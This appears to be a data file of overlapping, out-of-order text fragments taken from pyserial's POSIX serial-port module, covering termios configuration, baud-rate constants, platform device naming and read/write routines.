0: while len(read) < size: # print \\\"\\\\tread(): size\\\",size, \\\"have\\\", len(read) #debug\",\n \"if size > 0: while len(read) < size: # print \\\"\\\\tread(): size\\\",size, \\\"have\\\",\",\n \"if ((self._timeout is not None and self._timeout >= 0) or (self._interCharTimeout is not\",\n \"read.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError read = bytearray() poll = select.poll()\",\n \"with a bit luck you can get this module running... \\\"\\\"\\\" % (sys.platform,\",\n \"parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3, #\",\n \"0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011,\",\n \"code block should supply a device() and set_special_baudrate() function # for the platform\",\n \"elif plat == 'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d' % port\",\n \"# XXX same as TWO.. there is no POSIX support for 1.5 elif\",\n \"not None and self._timeout >= 0) or (self._interCharTimeout is not None and self._interCharTimeout\",\n \"== STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as TWO.. there is no\",\n \"control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else:\",\n \"None self._isOpen = False def makeDeviceName(self, port): return device(port) # - - -\",\n \"'first serial port: /dev/ttyS0' and with a bit luck you can get this\",\n \"termios.tcgetattr(self.fd) except termios.error as msg: # if a port is nonexistent but has\",\n \"status line: Request To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level:\",\n \"bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, #\",\n \"return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to\",\n \"active, no transmitting is possible.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level:\",\n \"ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try: ispeed = ospeed =\",\n \"%s also add the device name of the serial port and where the\",\n \"except KeyError: #~ raise ValueError('Invalid baud rate: %r' % self._baudrate) # may need\",\n \"support poll properly. however this one has better handling of errors, such as\",\n \"(confirmed) def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't\",\n \"TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK\",\n \"def close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen: if self.fd is not None: os.close(self.fd) self.fd\",\n \"raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \\\"\\\"\\\"Send break condition. Timed, returns to\",\n \"~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity\",\n \"'/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle\",\n \"fileno(self): \\\"\\\"\\\"For easier use of the serial port instance with select. WARNING: this\",\n \"xonxoff=0, # enable software flow control rtscts=0, # enable RTS/CTS flow control )\",\n \"s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self):\",\n \"baudrate): raise ValueError(\\\"sorry don't know how to handle non standard baud rate on\",\n \"# If select was used with a timeout, and the timeout occurs, it\",\n \"(TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag\",\n \"print \\\"\\\\tread(): size\\\",size, \\\"have\\\", len(read) #debug # wait until device becomes ready to\",\n \"a string with the real device name as port parameter. def device(portum): return\",\n \"# IRIX (partially tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX different device\",\n \"POSIX implementation. Serial port configuration is done with termios and fcntl. Runs on\",\n \"echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag\",\n \"cflag |= TERMIOS.CS7 elif self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize ==\",\n \"size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was used with a timeout,\",\n \"is not None and self._timeout >= 0) or (self._interCharTimeout is not None and\",\n \"0 or vmin > 255: raise ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN]\",\n \"buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \\\"\\\"\\\"Send\",\n \"in our list. ispeed = ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate)\",\n \"hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or\",\n \"8 def set_special_baudrate(port, baudrate): raise ValueError(\\\"baud rate not supported\\\") def device(port): return '/dev/cuad%d'\",\n \"platform detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how to number ttys on this\",\n \"{ 0: 0000000, # hang up 50: 0o000001, 75: 0o000002, 110: 0o000003, 134:\",\n \"= False def makeDeviceName(self, port): return device(port) # - - - - -\",\n \"TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI =\",\n \"0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR')\",\n \"TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str =\",\n \"= hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR\",\n \"def sendBreak(self, duration=0.25): \\\"\\\"\\\"Send break condition. Timed, returns to idle state after given\",\n \"be used.\\\") # open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg:\",\n \"possible.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd,\",\n \"3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat == 'cygwin': # cygwin/win32\",\n \"os.name, VERSION)) # no exception, just continue with a brave attempt to build\",\n \"'darwin': # OS X version = os.uname()[2].split('.') # Tiger or above can support\",\n \"to be read. = for non blocking\\\" if vmin < 0 or vmin\",\n \"def device(port): return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know\",\n \"pass else: # io library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll\",\n \"ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg: # if a port is\",\n \"reading returns nothing. raise SerialException('device reports readiness to read but returned no data\",\n \"portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \\\"\\\"\\\"For easier use of the serial port\",\n \"\\\"\\\"\\\"Clear input buffer, discarding all that is in the buffer.\\\"\\\"\\\" if self.fd is\",\n \"- time.time() if timeleft < 0: raise writeTimeoutError _, ready, _ = select.select([],\",\n \"has a /dev file, it'll fail here raise SerialException(\\\"Could not configure port: %s\\\"\",\n \"% (self._baudrate)) except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~\",\n \"elif plat[:6] == 'darwin': # OS X version = os.uname()[2].split('.') # Tiger or\",\n \"terminal status line: Ring Indicator\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s =\",\n \"non standard baud rate on this platform\\\") baudrate_constants = {} elif plat ==\",\n \"returns with empty lists -> thus abort read operation. # For timeout ==\",\n \"0x0030 def set_special_baudrate(port, baudrate): import array buf = array.array('i', [0] * 32) #\",\n \"reports readiness to read but returned no data (device disconnected?)') read.extend(buf) return bytes(read)\",\n \"with termios and fcntl. Runs on Linux and many other Un*x like systems.\\\"\\\"\\\"\",\n \"rtscts=0, # enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\\\n'\",\n \"< 0x020200f0): import FCNTL else: FCNTL = fcntl # try to detect the\",\n \"Clear To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET,\",\n \"port class POSIX implementation. Serial port configuration is done with termios and fcntl.\",\n \"whats up with \\\"aix\\\", \\\"beos\\\", .... # they should work, just need to\",\n \"custom baud rate, if any if custom_baud is not None: set_special_baudrate(self, custom_baud) def\",\n \"serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] = buf[7] / baudrate\",\n \"parity: %r' % self._parity) # setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'):\",\n \"'/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import\",\n \"as requested. With no timeout it will block until the requested number of\",\n \"ttys on this system. ! Use an explicit path (eg /dev/ttyS1) or send\",\n \"baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud rate: %r' % self._baudrate) # may\",\n \"TIOCM_RTS_str) def setDTR(self, level=1): \\\"\\\"\\\"Set terminal status line: Data Terminal Ready\\\"\\\"\\\" if self.fd\",\n \"IOSSIOSPEED, buf, 1) else: # version < 8 def set_special_baudrate(port, baudrate): raise ValueError(\\\"baud\",\n \"when closing the port # also to keep original exception that happened when\",\n \"they are always ready to read immediately # but reading returns nothing. raise\",\n \"110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200:\",\n \"(port+1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non standard\",\n \"configured before it can be used.\\\") # open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK)\",\n \"serial port.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError t = len(data) d =\",\n \"string over the serial port.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError t =\",\n \"be opened.\\\"\\\"\\\" self.fd = None if self._port is None: raise SerialException(\\\"Port must be\",\n \"0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG')\",\n \"(e.g. USB-serial unplugged)\\\"\\\"\\\" def read(self, size=1): \\\"\\\"\\\"Read size bytes from the serial port.\",\n \"behavior that they are always ready to read immediately # but reading returns\",\n \"With no timeout it will block until the requested number of bytes is\",\n \"% self._baudrate) # may need custom baud rate, it isn't in our list.\",\n \"% (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non\",\n \"oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg: #\",\n \"None: set_special_baudrate(self, custom_baud) def close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen: if self.fd is not\",\n \"921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000:\",\n \"use (e.g. USB-serial unplugged)\\\"\\\"\\\" def read(self, size=1): \\\"\\\"\\\"Read size bytes from the serial\",\n \"valid file descriptor\\\") custom_baud = None vmin = vtime = 0 # timeout\",\n \"setup baud rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except\",\n \"TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and\",\n \"Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else:\",\n \"select.select([], [self.fd], [], timeleft) if not ready: raise writeTimeoutError d = d[n:] t\",\n \"%r' % self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid baud rate: %r'\",\n \"import * # Do check the Python version as some constants have moved.\",\n \"baudrate): raise SerialException(\\\"sorry don't know how to handle non standard baud rate on\",\n \"! the author of this module: sys.platform = %r os.name = %r serialposix.py\",\n \"self._reconfigurePort() except: try: os.close(self.fd) except: # ignore any exception when closing the port\",\n \"portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1):\",\n \"if self.fd is None: raise portNotOpenError read = bytearray() while len(read) < size:\",\n \"0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014,\",\n \"enable): \\\"\\\"\\\"manually control flow - when hardware or software flow control is enabled\\\"\\\"\\\"\",\n \"else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |=\",\n \"need to know the device names. # load some constants for later use.\",\n \"baud rate: %r' % baudrate) baudrate_constants = { 0: 0000000, # hang up\",\n \"v.errno != errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return len(data) def flush(self):\",\n \"vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc])\",\n \"lflag, ispeed, ospeed, cc]) # apply custom baud rate, if any if custom_baud\",\n \"iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity ==\",\n \"xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &=\",\n \"version = os.uname()[2].split('.') # Tiger or above can support arbitrary serial speeds if\",\n \"getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except\",\n \"select if self._interCharTimeout is not None: vmin = 1 vtime = int(self._interCharTimeout *\",\n \"there is no POSIX support for 1.5 elif self._stopbits == STOPBITS_TWO: cflag |=\",\n \"device(port) # - - - - - - - - - - -\",\n \"self._writeTimeout else: timeout = None while t > 0: try: n = os.write(self.fd,\",\n \"< 0x020100f0): import TERMIOS else: TERMIOS = termios if (sys.hexversion < 0x020200f0): import\",\n \"raise SerialException(\\\"could not open port %s: %s\\\" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL,\",\n \"and the timeout occurs, it # returns with empty lists -> thus abort\",\n \"from TERMIOS, use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET\",\n \"if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd,\",\n \"be a warning if setting up rtscts (and xonxoff etc) fails?? # buffer\",\n \"~TERMIOS.PARMRK # setup baud rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s' %\",\n \"with empty lists -> thus abort read operation. # For timeout == 0\",\n \"return self.fd def flowControl(self, enable): \\\"\\\"\\\"manually control flow - when hardware or software\",\n \"600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600: 0o000015, 19200:\",\n \"using a string with the real device name as port parameter. def device(portum):\",\n \"the input buffer.\\\"\\\"\\\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ,\",\n \"select. WARNING: this function is not portable to different platforms!\\\"\\\"\\\" if self.fd is\",\n \"hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or\",\n \"know how to number ttys on this system. ! Use an explicit path\",\n \"the port cannot be opened.\\\"\\\"\\\" self.fd = None if self._port is None: raise\",\n \"self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB)\",\n \"#TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and\",\n \"code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os,\",\n \"IO for POSIX compatible systems, like Linux # see __init__.py # # (C)\",\n \"None: raise SerialException(\\\"Can only operate on a valid file descriptor\\\") custom_baud = None\",\n \"descriptor\\\") custom_baud = None vmin = vtime = 0 # timeout is done\",\n \"drainOutput(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def\",\n \"'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020\",\n \"if self.fd is None: raise portNotOpenError return self.fd def flowControl(self, enable): \\\"\\\"\\\"manually control\",\n \"class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll based read implementation. not all systems\",\n \"is select.POLLIN or timeout, that's # handled below buf = os.read(self.fd, size -\",\n \"= hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD\",\n \"= 1 vtime = int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag, ispeed,\",\n \"with alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS)\",\n \"name # even if the device name is not correct for the platform\",\n \"device names depending on flow control def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know\",\n \"\\\"\\\"\\\"Output the given string over the serial port.\\\"\\\"\\\" if self.fd is None: raise\",\n \"if it is select.POLLIN or timeout, that's # handled below buf = os.read(self.fd,\",\n \"terminal status line: Clear To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s\",\n \"a bit luck you can get this module running... \\\"\\\"\\\" % (sys.platform, os.name,\",\n \"or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS,\",\n \"__name__ == '__main__': s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number\",\n \"\\\"aix\\\", \\\"beos\\\", .... # they should work, just need to know the device\",\n \"should work, just need to know the device names. # load some constants\",\n \"or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I',\",\n \"None if self._port is None: raise SerialException(\\\"Port must be configured before it can\",\n \"% port baudrate_constants = {} elif plat[:6] == 'netbsd': # NetBSD 1.6 testing\",\n \"starts for the first serial port. e.g. 'first serial port: /dev/ttyS0' and with\",\n \"TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 =\",\n \"via select if self._interCharTimeout is not None: vmin = 1 vtime = int(self._interCharTimeout\",\n \"bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was\",\n \"Timed, returns to idle state after given duration.\\\"\\\"\\\" if self.fd is None: raise\",\n \"exception that happened when setting up pass self.fd = None raise else: self._isOpen\",\n \"timeout = None while t > 0: try: n = os.write(self.fd, d) if\",\n \"flow - when hardware or software flow control is enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd,\",\n \"timeout=3, # set a timeout value, None for waiting forever xonxoff=0, # enable\",\n \"'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate):\",\n \"raise ValueError('Invalid parity: %r' % self._parity) # setup flow control # xonxoff if\",\n \"based on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import\",\n \"module running... \\\"\\\"\\\" % (sys.platform, os.name, VERSION)) # no exception, just continue with\",\n \"timeout value, None for waiting forever xonxoff=0, # enable software flow control rtscts=0,\",\n \"TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): \\\"\\\"\\\"Read terminal status\",\n \"# behavior that they are always ready to read immediately # but reading\",\n \"&= ~TERMIOS.CSIZE if self._bytesize == 8: cflag |= TERMIOS.CS8 elif self._bytesize == 7:\",\n \"\\\"\\\"\\\"Read terminal status line: Carrier Detect\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s\",\n \"has chances # to work using a string with the real device name\",\n \"device(port): return '/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't\",\n \"control flow - when hardware or software flow control is enabled\\\"\\\"\\\" if enable:\",\n \"and where the counting starts for the first serial port. e.g. 'first serial\",\n \"may return less characters as requested. With no timeout it will block until\",\n \"or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS,\",\n \"== 0 (non-blocking operation) also abort when there # is nothing to read.\",\n \"of characters currently in the input buffer.\\\"\\\"\\\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str)\",\n \"# may need custom baud rate, it isn't in our list. ispeed =\",\n \"%r os.name = %r serialposix.py version = %s also add the device name\",\n \"0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012,\",\n \"read implementation. not all systems support poll properly. however this one has better\",\n \"module for serial IO for POSIX compatible systems, like Linux # see __init__.py\",\n \"ValueError('Invalid vmin: %r ' % vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime\",\n \"read operation. # For timeout == 0 (non-blocking operation) also abort when there\",\n \"WARNING: this function is not portable to different platforms!\\\"\\\"\\\" if self.fd is None:\",\n \"at least on Linux, show the # behavior that they are always ready\",\n \"version < 8 def set_special_baudrate(port, baudrate): raise ValueError(\\\"baud rate not supported\\\") def device(port):\",\n \"TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0 # - - platform specific -\",\n \"raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None:\",\n \"return device(port) # - - - - - - - - - -\",\n \"operate on a valid file descriptor\\\") custom_baud = None vmin = vtime =\",\n \"platform specific - - - - def drainOutput(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if\",\n \"no POSIX support for 1.5 elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else:\",\n \"ready to read when we get to this point. if not buf: #\",\n \"plat[:3] == 'bsd' or \\\\ plat[:7] == 'freebsd' or \\\\ plat[:7] == 'openbsd':\",\n \"0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014,\",\n \"serial port: /dev/ttyS0' and with a bit luck you can get this module\",\n \"ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud rate: %r'\",\n \"STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r' % self._stopbits)\",\n \"wait until device becomes ready to read (or something fails) for fd, event\",\n \"os.close(self.fd) except: # ignore any exception when closing the port # also to\",\n \"read. if not ready: break # timeout buf = os.read(self.fd, size-len(read)) # read\",\n \"'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud rate try: ispeed = ospeed =\",\n \"if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |=\",\n \"pass self.fd = None raise else: self._isOpen = True #~ self.flushInput() def _reconfigurePort(self):\",\n \"= fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): \\\"\\\"\\\"Read\",\n \"= fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self): \\\"\\\"\\\"Read\",\n \"- not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \\\"\\\"\\\"internal\",\n \"0o000013, 4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002,\",\n \"= hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR\",\n \"= time.time() + self._writeTimeout else: timeout = None while t > 0: try:\",\n \"names. # load some constants for later use. # try to use values\",\n \"to idle state after given duration.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd,\",\n \"call to set up high speeds import array, fcntl buf = array.array('i', [baudrate])\",\n \"#~ raise ValueError('Invalid baud rate: %r' % self._baudrate) # may need custom baud\",\n \"a device() and set_special_baudrate() function # for the platform plat = sys.platform.lower() if\",\n \"if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd,\",\n \"terminal status line: Data Set Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s\",\n \"SerialException('device reports readiness to read but returned no data (device disconnected?)') read.extend(buf) return\",\n \"TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS =\",\n \"500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000:\",\n \"= hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK\",\n \"= 0 # timeout is done via select if self._interCharTimeout is not None:\",\n \"try it with alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag\",\n \"# returns with empty lists -> thus abort read operation. # For timeout\",\n \"characters to be read. = for non blocking\\\" if vmin < 0 or\",\n \"if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \\\"\\\"\\\"Set\",\n \"is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \\\"\\\"\\\"For easier use of\",\n \"vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime < 0 or vtime >\",\n \"fcntl # try to detect the OS so that a device can be\",\n \"try to detect the OS so that a device can be selected... #\",\n \"port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array buf\",\n \"d) if timeout: # when timeout is set, use select to wait for\",\n \"0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET')\",\n \"ignore any exception when closing the port # also to keep original exception\",\n \"len(read)) read.extend(buf) if ((self._timeout is not None and self._timeout >= 0) or (self._interCharTimeout\",\n \"% (port + 1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to\",\n \"None: raise portNotOpenError t = len(data) d = data if self._writeTimeout is not\",\n \"except ImportError: # classic version with our own file-like emulation class Serial(PosixSerial, FileLike):\",\n \"hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or\",\n \"hardware or software flow control is enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd,\",\n \"portNotOpenError t = len(data) d = data if self._writeTimeout is not None and\",\n \"disconnecting while it's in use (e.g. USB-serial unplugged)\\\"\\\"\\\" def read(self, size=1): \\\"\\\"\\\"Read size\",\n \"TIOCM_RI != 0 def getCD(self): \\\"\\\"\\\"Read terminal status line: Carrier Detect\\\"\\\"\\\" if 